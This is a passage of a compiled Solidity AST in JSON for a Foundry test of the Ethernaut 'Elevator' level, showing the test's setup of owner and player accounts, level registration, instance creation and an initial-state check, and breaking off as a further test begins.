Elevator"}},"visibility":"internal"},{"id":60459,"nodeType":"VariableDeclaration","src":"495:21:128","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"511:5:128","scope":60623,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":60458,"name":"address","nodeType":"ElementaryTypeName","src":"495:15:128","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":60461,"nodeType":"VariableDeclaration","src":"522:22:128","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"538:6:128","scope":60623,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":60460,"name":"address","nodeType":"ElementaryTypeName","src":"522:15:128","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":60563,"nodeType":"FunctionDefinition","src":"731:592:128","nodes":[],"body":{"id":60562,"nodeType":"Block","src":"755:568:128","nodes":[],"statements":[{"assignments":[60466],"declarations":[{"constant":false,"id":60466,"mutability":"mutable","name":"users","nameLocation":"790:5:128","nodeType":"VariableDeclaration","scope":60562,"src":"765:30:128","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":60464,"name":"address","nodeType":"ElementaryTypeName","src":"765:15:128","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":60465,"nodeType":"ArrayTypeName","src":"765:17:128","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":60470,"initialValue":{"arguments":[{"hexValue":"32","id":60468,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"810:1:128","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":60467,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"798:11:128","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":60469,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"798:14:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"765:47:128"},{"expression":{"id":60475,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60471,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60459,"src":"823:5:128","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":60472,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60466,"src":"831:5:128","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":60474,"indexExpression":{"hexValue":"30","id":60473,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"837:1:128","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"831:8:128","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"823:16:128","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":60476,"nodeType":"ExpressionStatement","src":"823:16:128"},{"expression":{"arguments":[{"id":60480,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60459,"src":"858:5:128","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":60481,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"865:7:128","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":60477,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"849:2:128","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60479,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"852:5:128","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"849:8:128","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":60482,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"849:24:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60483,"nodeType":"ExpressionStatement","src":"849:24:128"},{"expression":{"id":60488,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60484,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60461,"src":"884:6:128","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":60485,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60466,"src":"893:5:128","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":60487,"indexExpression":{"hexValue":"31","id":60486,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"899:1:128","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"893:8:128","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"884:17:128","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":60489,"nodeType":"ExpressionStatement","src":"884:17:128"},{"expression":{"arguments":[{"id":60493,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60461,"src":"920:6:128","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":60494,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"928:8:128","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":60490,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"911:2:128","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60492,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"914:5:128","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"911:8:128","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":60495,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"911:26:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60496,"nodeType":"ExpressionStatement","src":"911:26:128"},{"expression":{"arguments":[{"id":60500,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60459,"src":"962:5:128","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60497,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"948:2:128","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60499,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"951:10:128","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"948:13:128","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60501,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"948:20:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60502,"nodeType":"ExpressionStatement","src":"948:20:128"},{"expression":{"id":60507,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60503,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60454,"src":"978:9:128","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":60505,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60459,"src":"1017:5:128","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":60504,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"990:26:128","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":60506,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"990:33:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"978:45:128","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":60508,"nodeType":"ExpressionStatement","src":"978:45:128"},{"assignments":[60511],"declarations":[{"constant":false,"id":60511,"mutability":"mutable","name":"factory","nameLocation":"1049:7:128","nodeType":"VariableDeclaration","scope":60562,"src":"1033:23:128","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_ElevatorFactory_$52245","typeString":"contract ElevatorFactory"},"typeName":{"id":60510,"nodeType":"UserDefinedTypeName","pathNode":{"id":60509,"name":"ElevatorFactory","nameLocations":["1033:15:128"],"nodeType":"IdentifierPath","referencedDeclaration":52245,"src":"1033:15:128"},"referencedDeclaration":52245,"src":"1033:15:128","typeDescriptions":{"typeIdentifier":"t_contract$_ElevatorFactory_$52245","typeString":"contract ElevatorFactory"}},"visibility":"internal"}],"id":60516,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":60514,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1059:19:128","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_ElevatorFactory_$52245_$","typeString":"function () returns (contract ElevatorFactory)"},"typeName":{"id":60513,"nodeType":"UserDefinedTypeName","pathNode":{"id":60512,"name":"ElevatorFactory","nameLocations":["1063:15:128"],"nodeType":"IdentifierPath","referencedDeclaration":52245,"src":"1063:15:128"},"referencedDeclaration":52245,"src":"1063:15:128","typeDescriptions":{"typeIdentifier":"t_contract$_ElevatorFactory_$52245","typeString":"contract ElevatorFactory"}}},"id":60515,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1059:21:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_ElevatorFactory_$52245","typeString":"contract ElevatorFactory"}},"nodeType":"VariableDeclarationStatement","src":"1033:47:128"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":60523,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60511,"src":"1128:7:128","typeDescriptions":{"typeIdentifier":"t_contract$_ElevatorFactory_$52245","typeString":"contract ElevatorFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_ElevatorFactory_$52245","typeString":"contract ElevatorFactory"}],"id":60522,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1120:7:128","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60521,"name":"address","nodeType":"ElementaryTypeName","src":"1120:7:128","typeDescriptions":{}}},"id":60524,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1120:16:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60520,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1114:5:128","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":60525,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1114:23:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}],"expression":{"id":60517,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60454,"src":"1090:9:128","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":60519,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1100:13:128","memberName":"registerLevel","nodeType":"MemberAccess","referencedDeclaration":48913,"src":"1090:23:128","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_contract$_Level_$55508_$returns$__$","typeString":"function (contract Level) external"}},"id":60526,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1090:48:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60527,"nodeType":"ExpressionStatement","src":"1090:48:128"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":60528,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1148:2:128","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60530,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1151:9:128","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1148:12:128","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":60531,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1148:14:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60532,"nodeType":"ExpressionStatement","src":"1148:14:128"},{"expression":{"arguments":[{"id":60536,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60461,"src":"1187:6:128","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60533,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1173:2:128","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60535,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1176:10:128","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1173:13:128","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60537,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1173:21:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60538,"nodeType":"ExpressionStatement","src":"1173:21:128"},{"expression":{"id":60555,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":60539,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60457,"src":"1204:8:128","typeDescriptions":{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"arguments":[{"arguments":[{"id":60544,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60454,"src":"1252:9:128","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"arguments":[{"id":60548,"name":"factory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60511,"src":"1277:7:128","typeDescriptions":{"typeIdentifier":"t_contract$_ElevatorFactory_$52245","typeString":"contract ElevatorFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_ElevatorFactory_$52245","typeString":"contract ElevatorFactory"}],"id":60547,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1269:7:128","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60546,"name":"address","nodeType":"ElementaryTypeName","src":"1269:7:128","typeDescriptions":{}}},"id":60549,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1269:16:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60545,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"1263:5:128","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Level_$55508_$","typeString":"type(contract Level)"}},"id":60550,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1263:23:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},{"hexValue":"30","id":60551,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1288:1:128","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":60543,"name":"createLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66525,"src":"1232:19:128","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$","typeString":"function (contract Ethernaut,contract Level,uint256) returns (address)"}},"id":60552,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1232:58:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":60542,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1224:8:128","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":60541,"name":"address","nodeType":"ElementaryTypeName","src":"1224:8:128","stateMutability":"payable","typeDescriptions":{}}},"id":60553,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1224:67:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":60540,"name":"Elevator","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52192,"src":"1215:8:128","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Elevator_$52192_$","typeString":"type(contract Elevator)"}},"id":60554,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1215:77:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"}},"src":"1204:88:128","typeDescriptions":{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"}},"id":60556,"nodeType":"ExpressionStatement","src":"1204:88:128"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":60557,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1302:2:128","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60559,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1305:9:128","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1302:12:128","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":60560,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1302:14:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60561,"nodeType":"ExpressionStatement","src":"1302:14:128"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"740:5:128","parameters":{"id":60462,"nodeType":"ParameterList","parameters":[],"src":"745:2:128"},"returnParameters":{"id":60463,"nodeType":"ParameterList","parameters":[],"src":"755:0:128"},"scope":60623,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":60584,"nodeType":"FunctionDefinition","src":"1575:137:128","nodes":[],"body":{"id":60583,"nodeType":"Block","src":"1602:110:128","nodes":[],"statements":[{"expression":{"arguments":[{"id":60570,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60461,"src":"1626:6:128","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60567,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1612:2:128","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60569,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1615:10:128","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1612:13:128","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":60571,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1612:21:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60572,"nodeType":"ExpressionStatement","src":"1612:21:128"},{"expression":{"arguments":[{"arguments":[{"id":60575,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60454,"src":"1675:9:128","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"arguments":[{"id":60578,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60457,"src":"1694:8:128","typeDescriptions":{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Elevator_$52192","typeString":"contract Elevator"}],"id":60577,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1686:7:128","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":60576,"name":"address","nodeType":"ElementaryTypeName","src":"1686:7:128","typeDescriptions":{}}},"id":60579,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1686:17:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address","typeString":"address"}],"id":60574,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"1655:19:128","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":60580,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1655:49:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":60573,"name":"assertFalse","nodeType":"Identifier","overloadedDeclarations":[314,329],"referencedDeclaration":314,"src":"1643:11:128","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":60581,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1643:62:128","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":60582,"nodeType":"ExpressionStatement","src":"1643:62:128"}]},"documentation":{"id":60564,"nodeType":"StructuredDocumentation","src":"1507:63:128","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"1584:8:128","parameters":{"id":60565,"nodeType":"ParameterList","parameters":[],"src":"1592:2:128"},"returnParameters":{"id":60566,"nodeType":"ParameterList","parameters":[],"src":"1602:0:128"},"scope":60623,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":60622,"nodeType":"FunctionDefinition","src":"1767:235:128","nodes":[],"body":{"id":60621,"nodeType":"Block","src":"1795:207:128","nodes":[],"statements":[{"expression":{"arguments":[{"id":60591,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":60461,"src":"1819:6:128","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":60588,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1805:2:128","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":60590,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1808:10:128","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"1805:13:128","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) 